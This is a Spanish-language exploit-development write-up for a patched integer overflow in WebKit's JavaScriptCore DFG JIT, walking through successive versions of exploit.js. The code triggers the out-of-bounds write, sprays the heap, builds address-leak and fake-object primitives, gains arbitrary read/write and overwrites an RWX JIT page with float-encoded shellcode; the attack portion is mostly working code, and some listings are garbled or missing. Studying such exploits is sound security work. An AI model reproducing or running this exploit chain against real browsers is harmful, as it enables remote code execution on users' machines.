
Explotando una vulnerabilidad parcheada en JavaScriptCore
Este es un exploit para una vulnerabilidad de WebKit que fue descubierta originalmente por Fluoroacetate durante la competencia pwn2own en Vancouver. Aunque no descubrí este error, escribí este exploit para practicar mis habilidades de desarrollo de exploits. El artículo original sobre este exploit está aquí de Zero Day Initiative. Si bien este artículo es muy bueno y fue fundamental para ayudarme a entender la vulnerabilidad, está desde el punto de vista de alguien que verifica la vulnerabilidad. Encontré que algunos detalles clave faltan al intentar diseñar este exploit desde cero y espero llenar algunos de los vacíos que el artículo de ZDI omitió y adquirir habilidades prácticas sobre cómo diseñar un exploit complicado desde cero.
Estos pasos sirven como un esquema para lograr ejecución de código arbitrario dentro de JavaScriptCore (JSC), el motor JavaScript de WebKit
La vulnerabilidad que será explotada es un desbordamiento de enteros que ocurre en el código producido por el compilador DFG justo a tiempo (JIT) para WebKit. Esto ocurre específicamente en la función compileNewArrayWithSpread. Esta función será llamada cuando el código que usa sintaxis de propagación de JavaScript para crear un nuevo array sea compilado JIT por DFG.

Dentro del código JIT, primero se calculará el tamaño del array. Lo hace sumando la longitud de cada argumento pasado al constructor del array. Mientras calcula el tamaño para cada suma, verifica si hay un desbordamiento del tamaño. Después de esto, llamará a la función compileAllocateNewArray pasando la longitud que se computó en esta función.

La función compileAllocateNewArray pasará entonces la longitud que se calculó antes a emitAllocateButterfly.

emitAllocateButterfly desplazará entonces a la izquierda el tamaño 3 bits, lo que equivale a multiplicarlo por 8. Sin embargo, no hay verificación de desbordamiento, por lo que un número como 0x20000001 puede desbordarse a 0x8
Este programa en C ilustra esta vulnerabilidad:


Podemos usar esta vulnerabilidad para engañar al motor JavaScript haciéndole creer que hemos asignado un array con tamaño 0x20000001 pero en realidad solo hemos asignado suficiente espacio para 1 JSValue (8 bytes). Esto resultará en una primitiva de lectura y escritura fuera de los límites (OOB) que luego puede ser aprovechada para lograr lectura/escritura arbitraria y eventualmente ejecución remota de código (RCE).
Identificar la vulnerabilidad
Para confirmar que tenemos una lectura OOB, intentaremos disparar esta vulnerabilidad en una compilación de JSC con address sanitizer (ASAN).
Para hacer esto desde el directorio de WebKit podemos ejecutar los comandos:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug
Esto construirá una compilación de depuración de JSC con ASAN habilitado, lo que nos permitirá verificar si hemos desencadenado exitosamente la vulnerabilidad o no.
Aquí está la primera iteración de exploit.js```javascript
function jitMe(array){
return [...array]
}
let dummy = [1.1]
for(let i = 0; i < 200; i++){
jitMe(dummy);
}
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
Cuando ejecuto esto, obtengo el siguiente error:
Program terminated with signal SIGKILL, Killed. The program no longer exists.
Mi suposición era que se estaba consumiendo demasiada memoria al intentar asignar un array tan grande. Para confirmarlo, agregué un punto de interrupción al código JITed añadiendo una llamada a m_jit.breakpoint() dentro de compileNewArrayWithSpread, lo que agrega una instrucción int3 al código JITed.
Después de agregar el punto de interrupción, descubrí que no se disparaba y entonces decidí probar con una longitud de 0x20001. Me di cuenta de que el código ni siquiera se estaba compilando, así que agregué más iteraciones para activar el compilador DFG.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }
let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){ a[i] = 1.1 }
jitMe(a)
Probar el programa tal como está aún lleva a SIGKILL, sin embargo, al probar con una longitud más pequeña, el punto de interrupción se activa. En este punto, todavía me parece que JSC se está quedando sin memoria al intentar procesar ese enorme array.
Para lidiar con esto, decidí asignar un array `a` más pequeño y luego usar la sintaxis de propagación para usarlo varias veces al crear el array corrupto resultando en el siguiente exploit.js```
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1]
for(let i = 0; i < 100; i++){
print(i)
jitMe(dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
Usando este código pudimos alcanzar el punto de interrupción sin un SIGKILL. Como suele ocurrir, solucionar un problema revela otro y obtuvimos un SIGABORT en su lugar... Usando el comando bt de gdb podemos ver que se llamó a operationNewArrayWithSize, que a su vez llamó a create.
Parece extraño que nuestro código JIT esté llamando a operationNewArrayWithSize y debe ser que el código JIT tuvo que tomar una ruta lenta hacia el motor de JavaScript por alguna razón.

Podemos ver en compileAllocateNewArrayWithSize que efectivamente hay una salida hacia operationNewArrayWithSize. Entonces necesitamos descubrir por qué exactamente estamos saliendo al caso lento.
Podemos ver que en compileNewArrayWithSpread, shouldConvertLargeSizeToArrayStorage está establecido en falso y esa ruta lenta no estará en el código compilado.
Por lo tanto, tiene sentido que la ruta lenta se esté ejecutando en algún lugar dentro de emitAllocateJSObject

emitAllocateJSObject llama a emitAllocateJSCell, que a su vez llama a emitAllocate.


Sin conocimiento de cómo funciona el Asignador de WebKit, esto parece bastante confuso. Por lo tanto, decidí agregar un par de puntos de interrupción y avanzar paso a paso con gdb.
Después de alcanzar un punto de interrupción establecido en emitAllocateVariableSized que fue llamado por emitAllocateButterfly, vemos el siguiente código ensamblador:
Que corresponde al código emitido por el compilador JIT aquí:
Podemos ver que el tamaño de asignación se suma a 0xf y luego se desplaza a la derecha 4 bits. Luego se compara con 0x1f6 correspondiente a la rama de la ruta lenta. Después de eso, moverá el asignador del subespacio a rsi e indexará en este puntero basándose en los cálculos realizados. Luego continuamos hasta el punto de interrupción que se colocó en emitAllocateWithNonNullAllocator para encontrar el siguiente código ensamblador:

Que corresponde al código emitido por el compilador JIT aquí:
Ahora que hemos recorrido parte del ensamblador, tenemos un poco más de contexto de lo que está sucediendo. Avanzando dos instrucciones más, vemos que tomaremos el salto:

Mirando el código C++, podemos inferir que esto significa que no queda espacio en la lista libre de este asignador, por lo que tomará la ruta pop.

Al realizar el salto y ejecutar las siguientes dos instrucciones, vemos que el salto se toma directamente correspondiendo a tomar la ruta lenta. Tomamos la ruta lenta porque el secreto del asignador se XOR con la cabeza desordenada del asignador y el resultado es cero. Sin más conocimiento sobre el asignador de WebKit, es difícil determinar exactamente qué está sucediendo.
Si bien me encantaría pasar más tiempo aprendiendo sobre el asignador de WebKit, pensé que una forma más fácil de abordar esto sería probar un par de ideas y ver si conducen a resultados diferentes y depurar a partir de ahí.
Una de las ideas que tuve fue asignar un array de tamaño 0x10, ya que estará en el mismo tamaño de paso de asignación que nuestro array que activará la vulnerabilidad, y luego llamar a jitMe con un array de tamaño 1. Como conocemos la dirección del asignador, podemos establecer un punto de vigilancia en los valores que conducen a las ramas y ver cuándo cambian. Tuve esta idea porque pensé que asignar un objeto que esté en el mismo tamaño de paso podría llevar al asignador a un estado diferente más interesante. Esto lleva a la siguiente iteración de exploit.js```javascript
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){ a[i] = 1.1 }
let x = new Array(0x10) let b = [1.1]
jitMe(b)
jitMe(a)
¡Probar esta idea funcionó!
Podemos ver que al probar `jitMe` en el array pequeño no tomamos la ruta lenta. Luego establecemos un punto de vigilancia en r8 + 0x18 para ver cuándo este valor se establece a cero. Después de alcanzar el punto de vigilancia obtenemos el siguiente backtrace:

Basándonos en los nombres de las funciones en el back trace, parece que se está realizando una recolección de basura que establece los valores de `secret` y `scrambledHead` a 0.
Basándonos en la pila de llamadas, sabemos que la llamada a `tryCreate` en `createFromArray` es la responsable de iniciar la recolección de basura.

Dentro de `createFromArray` también recorrerá y accederá a cada elemento, y si podemos interceptar la llamada para obtener y reinicializar el asignador, podemos evitar que tome la ruta lenta.
exploit.js:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
let dummy = [1.1]
for(let i = 0; i < 80; i++){
jitMe(dummy, dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
let b = [];
b.length = 1;
b.__defineGetter__(0, () => {
let x = new Array(0x10)
})
jitMe(a, b)
Nos da un error de ASAN!
Ahora que podemos activar la vulnerabilidad de forma fiable, nos gustaría usar nuestra primitiva OOB R/W para corromper aún más la memoria y obtener una primitiva de confusión de tipos. El primer paso es recompilar JSC con ASAN desactivado. Después de hacer esto, volvemos a ejecutar exploit.js y obtenemos el siguiente fallo

Podemos ver que estamos corrompiendo esto para que apunte a 0x3ff299999999999a cuando usamos el módulo struct de Python para convertir el valor flotante 1.1 a bytes obtenemos exactamente lo que esperábamos: 0x3ff299999999999a 
Ahora que podemos ver que hemos logrado la corrupción de memoria, necesitamos hacer un poco de masaje del heap para convertir esto en una confusión de tipos. La idea será hacer spray de una serie de ArrayWithDoubles y ArrayWithContiguous y corromper la longitud de la butterfly para poder lograr acceso fuera de límites con estos arrays y obtener una confusión de tipos. Con suerte, asignar suficientes arrays evitará que el acceso fuera de límites corrompa valores importantes.```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)
Después de rociar estos arrays, serán sobrescritos con los datos de `badArray`. Sin embargo, esto evitará un seg fault después de escribir fuera de los límites. Para obtener un array corruptible, podemos asignar tres arrays más: un ArrayWithDouble, seguido de un ArrayWithContiguous, seguido de otro ArrayWithDouble. Una vez que corrompamos el array, podemos escribir un objeto en el ArrayWithContiguous y leerlo desde el ArrayWithDouble para crear una confusión de tipos y leer una dirección. Además, podemos escribir una dirección en el segundo ArrayWithDouble y leerla desde el ArrayWithContiguous para obtener un objeto falso en una dirección especificada.
Implementando esto obtenemos:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
Ahora que tenemos un objeto falso y una primitiva de fuga de direcciones, nuestro siguiente objetivo es lograr primitivas de lectura/escritura arbitrarias. Nuestra estrategia general será crear un objeto falso y apuntar el butterfly hacia el butterfly de un ArrayWithDouble, y escribir en este butterfly la dirección que queremos leer o escribir. Esta técnica se utiliza durante el exploit original y es mencionada por saelo en este artículo.
Sin embargo, antes de poder hacer esto me encontré con un error inesperado. Descubrí que después de agregar cierta cantidad de código al exploit, activar la vulnerabilidad no funcionaba y terminaba en la ruta lenta, causando una excepción de falta de memoria.
Para solucionarlo, descubrí que podía tratar el código a ejecutar como una cadena y llamar a la función JavaScript eval. Por alguna razón, esto fue capaz de sortear este problema.
Para configurar nuestro objeto falso, necesitamos que tenga un ID de estructura válido. Para ello, hacemos spray de varios IDs de estructura y establecemos el nuestro en un ID de estructura predecible.
Para sobrescribir el butterfly del ArrayWithDouble, necesitamos poder indexar hasta el butterfly objetivo. Para ello, seguimos asignando arrays hasta que la dirección sea mayor que la dirección del elemento central del array de IDs de estructura esparcidos. Luego establecemos el butterfly de nuestro objeto falso como este elemento central e indexamos en el butterfly del objeto falso para establecer el butterfly objetivo.```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();
//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)
function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }
function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;
function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }
function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }
print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }
// make sure target is ArrayWithDouble target[1] = 1.1
print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }
print("[+] Got R/W primitive") `
eval(postTrigger)
- [x] Corromper el butterfly del array para lograr primitivas de lectura y escritura
### Logrando la Ejecución Arbitraria de Código Dentro del Proceso de Renderizado
Ahora que tenemos una primitiva de lectura y escritura, todo lo que necesitamos es sobrescribir una página JIT con código shell personalizado. Sobrescribimos la página JIT ya que probablemente será la única área de memoria que esté mapeada como RWX en el proceso. Si bien podríamos realizar una cadena ROP y un pivote de pila para mapear una región de memoria como RWX y ejecutar nuestro código shell, esto resulta mucho más simple.
Para sobrescribir la página JIT, primero necesitamos una función JITeada. Elegí usar la función `jitMe` que utilizamos para desencadenar la vulnerabilidad. A partir de aquí, usé gdb para seguir punteros en este objeto hasta llegar a la memoria que contiene el código JITeado. Cabe señalar que estos desplazamientos de puntero son muy específicos de esta versión de WebKit y es probable que puedan cambiar en el futuro. No se debe confiar en esto al escribir un exploit que pretenda funcionar en múltiples versiones de WebKit.
Después de encontrar el puntero a la página JIT, necesitamos escribir código shell para mostrar una calculadora. Este código shell se puede ver aquí:

Luego necesitamos ensamblar el código shell, extraer los bytes y convertirlos a flotantes que podamos escribir usando nuestra primitiva de L/E.
Esto nos da el exploit.js final:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){
let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
struct['addNewStructureId'+x] = 0x1337
sprayedStructureIDs[x] = struct;
}
print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){
target = []
targetAddr = leakAddr(target)
}
target[1] = 1.1
print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) {
hax[targetButterflyIndex] = i2f(address)
}
print("[+] Got R/W primitive")
var myJitAddr = leakAddr(jitMe)
setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])
print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229
print("[+] Executing Shellcode...")
jitMe([13.37],[13.37])
`
eval(postTrigger)
Por fin, ¡un vídeo del exploit en funcionamiento!
Con esto se espera mostrar cómo se puede tomar un n-day de JSC y desarrollar un exploit para él. Me beneficié de tener el informe de Zeroday Initiative. Aunque lo usé mientras escribía el exploit, intenté solo tomar las ideas principales y realizar la implementación por mí mismo sin mirar el informe.
Este exploit es solo una prueba de concepto y no es tan robusto como podría ser. Aunque no he experimentado ningún intento fallido, siempre hay trabajo que se podría hacer para mejorarlo. Como hice esto como una experiencia de aprendizaje, no me molesté en hacer el exploit tan robusto como podría ser.